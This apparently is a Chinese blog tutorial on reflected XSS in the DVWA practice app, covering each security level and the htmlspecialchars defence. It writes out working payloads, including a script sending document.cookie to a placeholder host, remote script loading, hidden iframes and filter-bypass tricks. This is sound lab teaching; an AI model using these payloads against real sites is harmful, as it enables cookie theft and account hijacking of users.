dvwa模拟实验——反射型XSS

XSS跨站脚本攻击

1.基本内容

1.1 介绍

XSS(跨站脚本攻击)是通过web站点的漏洞,向客户端交付恶意脚本代码,并且这些代码是可以呗客户端执行的,从而实现对客户端的攻击(获取cookie值,重定向到第三方网站)。
什么是Cookie?
Cookie实际上是一个“小型文本文件”。客户端向服务器发起请求,服务器需要记录该用户状态会向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。
(类似于办银行卡)

1.2 反射性XSS的原理

1.获取Cookie值
在这里插入图片描述
第一步:黑客向服务器端上传一个JavaScript的脚本,服务器会返回一个带有此JavaScript脚本的网页;
第二步:将含有JavaScript脚本的网页的URL传给某个客户端;
第三步:客户端得到URL后,会执行JavaScript脚本,将自己的cookie值传送给黑客。
2.重定向
在这里插入图片描述
第一步:黑客向服务器端上传一个JavaScript的脚本(目的是向第三方跳转),服务器会返回一个带有此JavaScript脚本的网页;
第二步:将含有JavaScript脚本的网页的URL传给某个客户端;
第三步:客户端得到URL后,会执行JavaScript脚本,跳转至JavaScript脚本写的第三方。

2.dvwa模拟实验

2.1 low等级

1.查看源代码
在这里插入图片描述
通过源码可以看出对输入的参数没有进行任何过滤。
2.实验过程
简单应用:
(1)输入ljl,返回hello ljl
在这里插入图片描述
(2)输入<script>alert('xss')</script>,产生弹窗
在这里插入图片描述
使用burpsuite抓包查看:请求包里含有cookie值,响应包里含输入的输入的内容(即还有输入内容的一个js页面)
在这里插入图片描述
在这里插入图片描述
(3)输入<body onload=alert('xss')>,产生弹窗
在这里插入图片描述
在这里插入图片描述
(4)输入<a href=http://ip>clink</a>,产生一个超链接
在这里插入图片描述
在这里插入图片描述
(5)输入<img src=http://ip/a.jpg onerror=alert('xss')>,由于没有找到该地址下的图片产生提示弹窗。
在这里插入图片描述
(6)输入<a herf=’’ onclick=alert('xss')>type</a>,由于没有找到超链接的地址产生提示弹窗。
在这里插入图片描述
在这里插入图片描述
获取cookie值:
(1)<script>new image().src="http://ip/c.php?output="+document.cookie;</script>
在这里插入图片描述
在这里插入图片描述
(2)<script>alert(document.cookie)</script>,直接弹出cookie值
在这里插入图片描述
(3)<script src='http://ip/a.js'></script>
首先在kali中创建a.js文件,开启apache服务,监听88端口
在这里插入图片描述
再输入<script src='http://ip/a.js'></script>
在这里插入图片描述
利用burpsuite抓包查看cookie值
在这里插入图片描述
重定向
(1)输入<script>window.location ="http://www.baidu.com"</script>,重定向到百度。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(2)输入<script>window.location ="http://ip"</script>,重定向到某一个IP地址上。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(3)输入<iframe src='http://ip/a.jpg' height='0' width='0'></iframe>,重定向到某个IP地址下的a.jpg在这里插入图片描述
在kali上监听80端口,可以得到:
在这里插入图片描述

2.2 medium等级

1.查看源代码
在这里插入图片描述
利用函数str_replace(),将<script>转换为空;
这里利用的是黑名单的思想,将脚本<script>当作字符串来处理
在这里插入图片描述
2.绕过方法
利用大小写混淆来绕过:<script>换成<Script>
利用嵌入的方式来绕过:例如<sc<script>ript>

2.3 high等级

1.查看源代码
在这里插入图片描述
仍然是基于黑名单的思想,利用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;
在这里插入图片描述
2.绕过方式
虽然无法使用<script>标签注入XSS代码,但是可以通过<img><body>等其他标签植入。

2.4 impossible等级

1.查看源代码
在这里插入图片描述
利用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义),从而防御反射型xss漏洞。

发布了4 篇原创文章 · 获赞 1 · 访问量 102

猜你喜欢

转载自blog.csdn.net/Allen__0/article/details/104221042